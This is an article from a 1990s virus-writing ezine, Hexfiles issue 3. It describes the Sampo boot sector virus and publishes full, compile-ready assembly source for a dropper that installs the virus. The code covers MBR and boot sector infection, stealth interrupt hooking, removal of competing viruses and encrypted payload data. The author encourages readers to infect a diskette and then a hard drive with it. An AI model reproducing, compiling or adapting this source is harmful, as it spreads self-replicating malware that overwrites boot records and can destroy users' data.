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Hexfiles Issue 3 File 005

eZine's profile picture
Published in 
hexfiles
 · 3 months ago

  
HEX-FILES No. 3 File 005
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

Sampo Virus

Dropper Program and Disassembly

by YeZ



This is the very first boot sector virus I got infected with. And it
has been there in my disk for months. I only discovered this one when
I got into the virus scene, and that was way back '94-'95, my 4th
year High School days. This is the most common boot sector virus at
that time. Greetz to the SAMPO team. I wonder if they are still alive
and kicking in the virus scene?


Some facts about this virus...

Sampo infects boot sector of diskettes and master boot record of hard
drives. It occupies five disk sectors, in addition to the boot code,
to store its codes and the uninfected boot sector/MBR. In hard disks,
this is in track 0 head 0 sectors 10 to 14. In diskettes, this is in
head 1 sectors 1 to 5 of the diskette's last track. These diskette
sectors might be overwritten with data on the normal use of a
diskette and that is a big problem of Sampo if it happens.

It reserves 6K of memory and hooks int 8, 9 and 13. Int 8 and 9 are
only hooked if Sampo is loaded in memory through a diskette boot. But
int 9 is only hooked on Novemeber 30th of any year.

Before it goes memory resident, Sampo checks whether Joshi,
Stoned.Michelangelo, Stoned.Standard and one other virus, had gone
resident ahead of it. If so, it restores the interrupts hooked by
these viruses and overwrites the memory they reserved. Because Sampo
restores the original content of total system memory at [0:413], it
might not return the correct value if it disables any of the four
viruses.

It is a stealth virus. Sampo presents the original MBR whenever there
is an attempt to read the infected MBR. It does not do this on read
of diskette boot sectors. What Sampo does is, it makes a fool out of
AV programs -- it turns them into trojans. Sampo presents the
Telefonica boot sector codes when they scan a write-protected
diskette. (I have a copy of the virus which uses Joshi instead of
Telefonica. I also heard there was one using Stoned but have not seen
it. -- PsK) You, the trustful user of AV programs have to abide by
the bidding of your AV master and remove the disk's write-protection.
And just like that, your AV master did not find anything this time
around. Sampo came out laughing on its travel around the world piggy
backing on the stupidity of AVs. This is the reason how Sampo became
the most successful virus to come out of the Philippines, so far....

It survives a warm reboot, that is, if the virus became resident
through a diskette boot. It screens for the Alt-Ctrl-Del key
combination and will emulate a system boot and stays memory resident.
It does not do this on hard disks infection because hard disks are
fixed while you can have several bootable diskettes, some of which
might not be infected. Got the logic?

"WoW!" It has a Payload! On November 30th of any year, the virus sets
up a timer which would be triggered in 2 hours. When triggered, the
virus displays this message on the upper right corner of your screen:


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º S A M P O º
º "Project X" º
º Copyright (c)1991 by the º
º SAMPO X-Team. All rights º
º reserved. º
º University Of The East º
º Manila º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Remember, that this will only happen if we boot from an infected
diskette, that is, drive A:\. It will never happen if you boot from
"your infected hard disk! C:\ :)".



The dropper program...

Here it is, the Sampo virus installer. This is not so user friendly
but I tried to make it as easy as possible for the user to manage.
All you have to do is answer the queries given to you by the program
and it will do the rest of the work.

This program will install Sampo on either drive A: or B: only. The
program will not let you install the virus on your hard drive. Why?
Because that is really a stupid thing to do, that is why! :) "But if
you want your hard disk infected, use this program to infect a
diskette and boot from it. Voila! your hard disk is possessed by the
SAMPO virus before you know it... :)". But, I nor the zine or anyone
of us, is liable to any damage made by the virus we publish. *Use at
your own RISK*. I think you are not LAME enough to play with things
you don't understand. Do you? In other words, if you do not know how
to handle computer viruses better not install it...

For any questions, suggestions or comments, send us an email at:

yez@rocketmail.com YeZ's email
phvx@hotmail.com PsK's email


ÄÄ DRPSAMPO.ASM STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ HEX-FILES No 3 ÄÄÄ
;ÄÄÄÄÄ Sampo Virus Dropper ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄ Written by YeZ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ TASM 2.01 and MASM 5.0 would produce ÄÄÄÄÄÄ
;ÄÄÄÄÄ COMPILING ÄÄÄÄÄÄÄÄÄÄÄÄ identical programs. ÄÄÄÄÄÄ
;ÄÄÄÄÄ INSTRUCTION ÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Code was not fixed for A86. ÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Compile to EXE without options. ÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä Ä
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄ Virus Name: Sampo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄ Author/s : SAMPO X-Team ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄ Origin : University of the East ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄ Manila ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄ Program listing created by YeZ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ HEX-FILES No 3 ÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
sampo_data segment at 0
org 7c40h

dpa_take label word
samp_cyl db ?
samp_secn db ?
samp_drv db ?
sampo_ext label dword
dw ? ;Offset of sampo extension
sampo_ext_seg dw ? ;Segment of sampo extension
virsig1 dw ?
virsig2 dw ?
virsig3 dw ?
virsig4 dw ?
sampo_data ends

Sampo segment 'code'
org 0

assume cs:sampo,ds:sampo_data

jmp sampo1

; This is the bios parameter block.

db 053h,041h,04Dh,050h,04Fh,035h,02Eh,030h,000h,002h,002h,001h,000h
db 002h,070h,000h,0D0h,002h,0FDh,002h,000h,009h,000h,002h,000h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,029h,059h,065h,05Ah
db 028h,059h,065h,05Ah,020h,020h,020h,020h,020h,020h,020h,020h,046h
db 041h,054h,031h,032h,020h,020h,020h

sampo1: jmp short sampo_entry

samp_cyl2 db 27h ;Cylinder Address ; 360k, modified if not
samp_secn2 db 01h ;Sector Number address
loc_drv db 0 ;Drive booted (A:\)
dw 200h ;Offset of sampo extension
dw 0000 ;Segment of sampo extension

dw 0ace9h ;Virus signature 1 Stoned.Michelangelo
dw 1febh ;Virus signature 2 Joshi.A
dw 5eah ;Virus signature 3 Stoned.Standard
dw 15ebh ;Virus signature 4 ????????????????????

sampo_entry:
cli
mov ax,cs
mov ds,ax
mov ss,ax
mov sp,0f000h
mov cx,ax
add cx,6
mov ax,word ptr ds:[413h]
mov bx,200h
mov dx,ax
and ax,3ffh
rol ax,cl
mov es,ax
mov ax,dx
mov cx,es:[0]
cmp word ptr [virsig1],cx
je disk_type1
cmp word ptr [virsig2],cx
je disk_type2
cmp word ptr [virsig3],cx
je disk_type3
cmp word ptr [virsig4],cx
je disk_type4
mov dx,3dh
mov di,dx
mov si,7c00h
add si,dx
mov cx,27h
cld
repe cmpsb
je infected_sign
jmp try_infecting

infected_sign: ;In case the disk is already infected by the virus...
sti
xor ax,ax
push es
push bx
retf
disk_type1: ;In case virsig1 is detected...
mov di,4ch ;INT 13h (13h*4 = 4ch) :)
mov ax,es:[0ah]
mov [di],ax
mov ax,es:[0ch]
mov [di+2],ax
sub ax,4
jmp short try_infecting2
disk_type3:
mov di,4ch ;INT 13h ^
mov ax,es:[09]
mov [di],ax
mov ax,es:[0bh]
mov [di+2],ax
sub ax,4
jmp short try_infecting2
disk_type4:
mov di,4ch ;INT 13h ^
mov ax,word ptr ds:[1e4h]
mov [di],ax
mov ax,word ptr ds:[1e6h]
mov [di+2],ax
sub ax,4
jmp short try_infecting2
disk_type2:
mov di,20h ;INT 8 (8*4 = 20h)
mov ax,word ptr es:[27fh]
mov [di],ax
mov ax,word ptr es:[281h]
mov [di+2],bx
mov di,24h ;INT 9 (9*4 = 24h)
mov ax,word ptr es:[1cah]
mov [di],ax
mov ax,word ptr es:[1cch]
mov [di+2],ax
mov di,4ch ;INT 13h (13h*4 = 4ch)
mov ax,word ptr es:[7ach]
mov [di],ax
mov ax,word ptr es:[7aeh]
mov [di+2],ax
jmp short try_infecting3
try_infecting:
sub ax,6
try_infecting2:
mov word ptr ds:[413h],ax ; Subtract some RAM :)

try_infecting3:
sti
xor cx,cx
add cx,6
mov si,7c00h
and ax,3ffh
rol ax,cl
mov di,0
mov es,ax
mov cx,200h
cld
rep movsb
mov [sampo_ext_seg],es
do_disk_proc1:
xor ax,ax
int 13h
mov ax,0205h
mov ch,byte ptr [samp_cyl]
mov dh,1
mov dl,byte ptr [samp_drv]
cmp dl,80h
jne if_not_from_hd
mov dh,0
if_not_from_hd:
mov cl,byte ptr [samp_secn]
int 13h
jc do_disk_proc1
jmp short wow ;Is this to clear the PIQ ???? :)
wow:
mov ax,1 ;Ok to proceed with the virus functions.
jmp [sampo_ext] ;Jump to the extended portion of the virus...

port_3da_block: ;This sub routine is not executed by the virus
pushf
push ax
push bx
push cx
push dx
push ds
push es
push si
push di ;Push all registers and segments
mov dx,3dah ;Load port value
get_status_3da:
in al,dx ;Get port data to AL
test al,8 ;Mask it 00001000b
jz get_status_3da ;repeat if zero...
cli
xor ax,ax
mov dl,0ah ;Change the Port value in DX
out dx,al ;Set port data
xor al,8 ;xor data by 00001000b
out dx,al ;Set port data
mov dx,[dpa_take] ;get sampo's disk cylinder and sector number
xor al,1 ;xor port data by 00000001b
inc cl
mov dl,cl ;change our DL which holds the sector number
in al,dx ;get the port data
mov dx,3dah ;Load 3dah port to DX
get_status_3da2:
in al,dx ;get port data
test al,50h ;mask data by 01010000b
jnz get_status_3da2 ;if not zero then 3da port data again...
out dx,al ;set port data
xor al,50h ;xor port data by 01010000b
out dx,al ;set port data
pop di ;pop out all save registers and segments
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
popf
retf
ret

; This is the preserved portion of the boot sector which represents the
; area of the partition table in hard disk's MBR.

db 00Dh,00Ah,04Eh,06Fh,06Eh,02Dh,053h,079h,073h,074h,065h,06Dh,020h,064h
db 069h,073h,06Bh,020h,06Fh,072h,020h,064h,069h,073h,06Bh,020h,065h,072h
db 072h,06Fh,072h,00Dh,00Ah,052h,065h,070h,06Ch,061h,063h,065h,020h,061h
db 06Eh,064h,020h,070h,072h,065h,073h,073h,020h,061h,06Eh,079h,020h,06Bh
db 065h,079h,020h,077h,068h,065h,06Eh,020h,072h,065h,061h,064h,079h,00Dh
db 00Ah,000h,049h,04Fh,020h,020h,020h,020h,020h,020h,053h,059h,053h,04Dh
db 053h,044h,04Fh,053h,020h,020h,020h,053h,059h,053h,000h,000h,055h,0AAh

;****************************************************************************
;This is the part of the virus which resides some place else on the disk away
;from the boot sector virus loader. This where the virus's real code is...
;Have fun!!!
;*******************************************************************YeZ******

sampo_extension:
assume cs:sampo,ds:sampo

jmp short entry_sampo_ext

i8 label dword ;Buffer for INT 8h (Timer INT)
i8_off dw 0
i8_seg dw 0
i9 label dword ;Buffer for INT 9h (Keyboard INT)
i9_off dw 0
i9_seg dw 0
i13 label dword ;Buffer for INT 13h (Disk INT)
i13_off dw 0
i13_seg dw 0
timer_tick db 11h
total_ram dw 027ah
rem_ram dw 0280h

entry_sampo_ext:

cmp ax,1
je proceed_infection
jmp return_to_host
proceed_infection:
cli
push cs
pop ds
xor ax,ax
mov es,ax
cmp byte ptr ds:[loc_drv],80h ;Did we boot from the Hard drive?
je booted_from_hd ;Do not load virus's INT 8 & INT 9 :(
mov ah,4 ;Get real time clock date
int 1ah ;time clock interrupt
cmp dx,1130h ;Is the date November 30 ?
jne do_not_set_timer ;If not do not set time timer :)
mov al,byte ptr es:[46eh] ;get upper time tick status
mov byte ptr ds:[timer_tick],al ;save it in our code...

mov di,20h ;get INT 8 (4*8 = 20h
mov ax,es:[di]
mov word ptr ds:[i8_off],ax
mov ax,es:[di+2]
mov word ptr ds:[i8_seg],ax
mov es:[di],offset int8_proc ;load our INT 8 offset
mov ax,cs
mov es:[di+2],ax ;load our INT 8 segment
do_not_set_timer:
mov di,24h
mov ax,es:[di]
mov word ptr ds:[i9_off],ax
mov ax,es:[di+2]
mov word ptr ds:[i9_seg],ax
mov es:[di],offset int9_proc ;load our INT 9 offset
mov ax,cs
mov es:[di+2],ax ;load our INT 9 segment
booted_from_hd:
mov di,4ch
mov ax,es:[di]
mov word ptr ds:[i13_off],ax
mov ax,es:[di+2]
mov word ptr ds:[i13_seg],ax
mov es:[di],offset int13_proc ;load our INT 13h offset
mov ax,cs
mov es:[di+2],ax ;load our INT 13h segment
push es
push ds
pop es
pop ds
sti
mov ax,word ptr ds:[413h] ;Get total system RAM
mov word ptr es:[total_ram],ax ;save it
add ax,6 ;add 6*40h=180h bytes of RAM
mov word ptr es:[rem_ram],ax ;save it.
mov si,0
mov di,0c00h
mov cx,400h
cld
rep movsb
push cs
pop ds
mov di,1400h
mov si,700h
mov ah,13h
mov cx,100h

decrypt_payload:
lodsb
ror al,1
mov [di],ax
inc di
inc di
loop decrypt_payload
mov cx,1
read_omitting_cx:
mov bx,1000h
mov dx,80h
mov si,3

do_reading_1:
mov ax,201h
pushf
call ds:[i13]
jnc hd_part_found

xor ax,ax ;Try to read 3 times...
pushf
call ds:[i13]
dec si
jnz do_reading_1 ;if zero then no more reading
looks_infected:
jmp return_to_host ;ret :(

hd_part_found:
mov ax,4fh
mov di,ax
mov si,1000h
add si,ax
mov cx,27h
cld
repe cmpsb
je looks_infected
cmp byte ptr ds:[142h],80h ;Check if partition bootable
jne part_bootable ;if not :(
mov cx,0eh
mov byte ptr ds:[142h],0
jmp read_omitting_cx
part_bootable:
mov si,0a00h
mov di,1600h
mov cx,200h
cld
rep movsb
mov si,1000h
mov di,0a00h
mov cx,200h
rep movsb
mov si,3
mov bx,200h
mov cx,0ah
mov dx,80h
try_to_write_ext_229:
mov ax,0305h
mov [samp_cyl2],ch
mov [loc_drv],dl
mov [samp_secn2],cl
pushf
call ds:[i13]
jnc able_to_write_ext_24b
xor ax,ax
pushf
call ds:[i13]
dec si
jnz try_to_write_ext_229
jmp short return_to_host

able_to_write_ext_24b:
mov si,03eh
mov di,103eh
mov cx,15fh
rep movsb
mov ax,3cebh
mov word ptr ds:[1000h],ax
mov bx,1000h
mov cx,1
mov dx,80h
mov ax,0301h
pushf
call ds:[i13]
mov si,1600h
mov di,0a00h
mov cx,200h
rep movsb

return_to_host:
push cs
pop ds
xor ax,ax
mov es,ax
push ax
mov si,0a00h
mov di,7c00h
push di
mov cx,200h
cld
rep movsb
retf

int8_proc:
pushf
push ax
push bx
push cx
push dx
push ds
push es
push di
push si
push cs
pop ds
xor ax,ax
mov es,ax
mov al,byte ptr es:[46eh] ;Get timer tick count
sub al,byte ptr ds:[timer_tick] ;Subtract with inititial timer tick
cmp al,2 ;Compare if 2 hours has been elapsed?
jb out_int8 ;Nop not yet :( "Sayang!"

mov ax,0b800h ;The timer payload !!! wow!
mov es,ax ;Load screen buffer segment.
mov di,68h
mov bx,9
mov si,1400h
mov dx,3dah
get_port_data8:
in al,dx
test al,4
jz get_port_data8
load_scr_payload:
mov cx,1ch
rep movsw
add di,68h
dec bx
jnz load_scr_payload

out_int8:
pop si
pop di
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
popf
jmp cs:[i8] ;Jmp to original INT 8

int9_proc: ;Virus INT 9
pushf
push ax
push bx
push cx
push dx
push ds
push es
push di
push si
in al,60h ;Get inkey or keypressed character?
cmp al,53h ;Is it <Del>
je simulate_warm_reboot ;YYYYYeeeeeZZZZZ!!!!!
jmp out_int9 ;Back to INT 9

simulate_warm_reboot:
mov ax,0
mov es,ax
mov al,byte ptr es:[417h] ;Get keyboard character data byte ;)
and al,0ch ;Mask it?
cmp al,0ch ;Is <Ctrl> and <Alt> being pressed?
jne out_int9 ;Nop sorry boy!!!

start_simulating_warm_reboot:
cli
mov dx,61h
in al,dx ;Get 61h port data to AL
or al,80h ;Set Parity Check
out dx,al ;Set port
xor al,80h ;Unmask parity check bit
out dx,al ;Clear Parity Check
mov al,20h
out 20h,al ;Refresh Interrupts
pop si
pop di
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
popf

cli
xor ax,ax
mov es,ax
push cs
pop ds
mov ax,word ptr ds:[total_ram]
mov word ptr es:[413h],ax ;Update 40:13 (total ram in system)
mov al,byte ptr es:[46eh] ;get initial timer tick...
mov byte ptr ds:[timer_tick],al ;update our virus initial timer tick.
mov si,0c00h ;load the pre-boot INTs
mov di,0
mov cx,400h
cld
rep movsb
sti
mov ax,02 ;Set cursor position.
int 10h
mov al,8 ;Enable I/O check
out 61h,al ;Set to port
mov ax,4 ;Set delay...
load_delay1:
mov cx,0ffffh
delay1:
loop delay1
dec ax
jnz load_delay1
mov al,0c8h ;Parity,Channel,I/O check
out 61h,al ;Set to port
mov al,48h ;Channel,I/O check
out 61h,al ;Set to port
mov ax,8 ;Load another delay
load_delay2:
mov cx,0ffffh
delay2:
loop delay2
dec ax
jnz load_delay2
mov ah,0eh ;write charater to screen
mov si,offset Give_space
cont_write_chr:
lodsb
or al,al
jz boot_the_system
int 10h
jmp cont_write_chr

boot_the_system:
mov byte ptr es:[417h],0
int 19h

Give_space:
or ax,0d0ah
or al,[bx+si]

out_int9: ;Back to real INT 9
pop si
pop di
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
popf
jmp cs:[i9]

int13_proc: ;Virus INT 13h
cmp ah,2 ;Is it read sector?
jne jmp_orig_i13 ;Nop :(
cmp cx,1 ;Are they tryin' to read sector 1?
jne jmp_orig_i13 ;Nop :(
cmp dh,0 ;Is it in head 0?
jne jmp_orig_i13 ;Nop :(
cmp bx,7c00h ;Is the Buffer located in the boot initialization.
je jmp_orig_i13 ;Yep :) We are booting from an infected disk!!!
cmp dl,80h ;Is it a hard drive?
je reset_hd_read ;Yep :) Reset hard disk read to sector 15 !!!
cmp dl,1 ;Is it above drive B:?
ja jmp_orig_i13 ;Yep :)

pushf
push ax
push bx
push cx
push dx
push ds
push es
push di
push si
xor ax,ax
mov ds,ax
mov ax,word ptr cs:[0c84h]
cmp word ptr ds:[84h],ax
je out_int13
mov ax,word ptr cs:[rem_ram]
mov word ptr ds:[413h],ax ;update total system ram
jmp short chk_if_infected
reset_hd_read:
mov cx,0eh
jmp_orig_i13:
jmp cs:[i13]

chk_if_infected:
push cs
pop ds
push cs
pop es
mov si,3
mov bx,1000h
mov dh,0
mov cx,1
read_again_13:
mov ax,0201h
pushf
call ds:[i13]
jnc ok_to_cont_13
xor ax,ax
pushf
call ds:[i13]
dec si
jnz read_again_13
jmp short out_int13

ok_to_cont_13:
mov ax,4fh
mov di,ax
mov si,1000h
add si,ax
mov cx,27h
cld
repe cmpsb
je out_int13 ;Already infected
mov ax,0301h ;Write the boot sector portion
mov cx,1
mov dh,0
pushf
call cs:[i13]
jc on_err_writing_boot ;Error writing shit !
jmp chk_disk_type ;Oke!

out_int13:
pop si
pop di
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
popf
jmp cs:[i13]

on_err_writing_boot:
cmp byte ptr ds:[1016h],2
je proceed_write_vir_ext
cmp byte ptr ds:[1016h],7
jne out_int13

proceed_write_vir_ext:
pop si
pop di
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
popf
pushf
call cs:[i13]
pushf
push ax
push cx
push ds
push si
push di
mov ax,cs
mov ds,ax
mov di,1200h
mov si,800h
mov cx,200h
loop_this_out: ;Decrypting data...
lodsb
xor al,3
mov [di],al
inc di
loop loop_this_out
mov si,1200h
mov di,bx
mov cx,200h
cld
rep movsb
mov di,1200h
mov si,800h
mov cx,200h
loop_this_out2:
lodsb
mov [di],al
inc di
loop loop_this_out2
pop di
pop si
pop ds
pop cx
pop ax
popf
retf 2
chk_disk_type:
mov si,1000h
mov di,0a00h
mov cx,200h
cld
rep movsb
cmp byte ptr ds:[bx+15h],0fdh ;Check if Disk is a 360k 5.25" type
je reset_cyl ;Yep "Na Bulok se klase de disk!"
mov ch,4fh
jmp short proceed_write_ext

reset_cyl:
mov ch,27h

proceed_write_ext:
mov bx,200h ;Writing sampo extention to disk
mov byte ptr ds:[samp_cyl2],ch
mov dh,1
mov byte ptr ds:[loc_drv],0
mov cl,1
mov byte ptr ds:[samp_secn2],cl
mov ax,0305h
pushf
call ds:[i13]
jnc ok_ext
on_err_boot_set:
jmp on_err_writing_boot

ok_ext:
mov si,3eh ;Set-up boot sector portion of virus
mov di,103eh
mov cx,15fh
rep movsb
mov bx,1000h
mov ax,3cebh
mov [bx],ax
mov ax,0301h ;Write to boot sector
mov bx,1000h
mov cx,1
mov dh,0
pushf
call ds:[i13]
jc on_err_boot_set
jmp out_int13

;This is the virus extension this has no code only data :)

db 291 dup (0)

;Encrypted virus message

db 093h,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh
db 09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh
db 09Bh,077h,075h,040h,040h,040h,040h,040h,040h,040h,040h,0A6h,040h
db 082h,040h,09Ah,040h,0A0h,040h,09Eh,040h,040h,040h,040h,040h,040h
db 040h,040h,040h,075h,075h,040h,040h,040h,040h,040h,040h,040h,044h
db 0A0h,0E4h,0DEh,0D4h,0CAh,0C6h,0E8h,040h,0B0h,044h,040h,040h,040h
db 040h,040h,040h,040h,040h,075h,075h,040h,086h,0DEh,0E0h,0F2h,0E4h
db 0D2h,0CEh,0D0h,0E8h,040h,050h,0C6h,052h,062h,072h,072h,062h,040h
db 0C4h,0F2h,040h,0E8h,0D0h,0CAh,040h,075h,075h,040h,0A6h,082h,09Ah
db 0A0h,09Eh,040h,0B0h,05Ah,0A8h,0CAh,0C2h,0DAh,05Ch,040h,082h,0D8h
db 0D8h,040h,0E4h,0D2h,0CEh,0D0h,0E8h,0E6h,040h,075h,075h,040h,0E4h
db 0CAh,0E6h,0CAh,0E4h,0ECh,0CAh,0C8h,05Ch,040h,040h,040h,040h,040h
db 040h,040h,040h,040h,040h,040h,040h,040h,040h,040h,040h,075h,075h
db 040h,040h,0AAh,0DCh,0D2h,0ECh,0CAh,0E4h,0E6h,0D2h,0E8h,0F2h,040h
db 09Eh,0CCh,040h,0A8h,0D0h,0CAh,040h,08Ah,0C2h,0E6h,0E8h,040h,040h
db 075h,075h,040h,040h,040h,040h,040h,040h,040h,040h,040h,040h,09Ah
db 0C2h,0DCh,0D2h,0D8h,0C2h,040h,040h,040h,040h,040h,040h,040h,040h
db 040h,040h,075h,091h,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh
db 09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh,09Bh
db 09Bh,09Bh,09Bh,09Bh,079h,000h,000h,000h,000h

;Encrypted Telefonica boot sector

db 0E8h,01Fh,093h,053h
db 040h,023h,057h,06Ch,06Ch,06Fh,070h,003h,003h,003h,003h,003h,003h
db 003h,003h,003h,003h,003h,003h,003h,003h,003h,003h,003h,003h,003h
db 0B8h,003h,07Fh,030h,0C3h,0F9h,08Dh,0D3h,088h,0E0h,0F8h,08Dh,0DBh
db 0A2h,010h,007h,04Bh,0A0h,010h,007h,0B2h,005h,0D0h,0E3h,08Dh,0C3h
db 0BAh,003h,001h,00Dh,01Ch,088h,0F0h,030h,0FCh,0FFh,0F0h,0A7h,005h
db 0B8h,0EDh,003h,050h,0C8h,0BFh,09Dh,091h,08Ch,09Dh,058h,09Dh,0DCh
db 0BDh,092h,088h,095h,0D1h,0A8h,0B9h,0B0h,0B9h,0BAh,0B3h,0B2h,0B5h
db 0BFh,0BDh,0DCh,0D4h,0BEh,09Dh,08Eh,09Fh,099h,090h,093h,092h,09Dh
db 0D5h,0F1h,0F6h,0FCh,043h,002h,005h,003h,06Bh,002h,00Bh,003h,083h
db 001h,002h,002h,0D3h,001h,001h,002h,063h,00Ah,00Eh,002h,0A3h,006h
db 007h,002h,043h,008h,00Dh,002h,0FCh,0FCh,005h,003h,0F7h,001h,001h
db 002h,0BBh,002h,000h,0CEh,010h,0C0h,0BEh,007h,003h,0BBh,002h,001h
db 0CEh,010h,070h,004h,031h,0E7h,0CEh,010h,04Eh,076h,0F1h,0C0h,09Fh
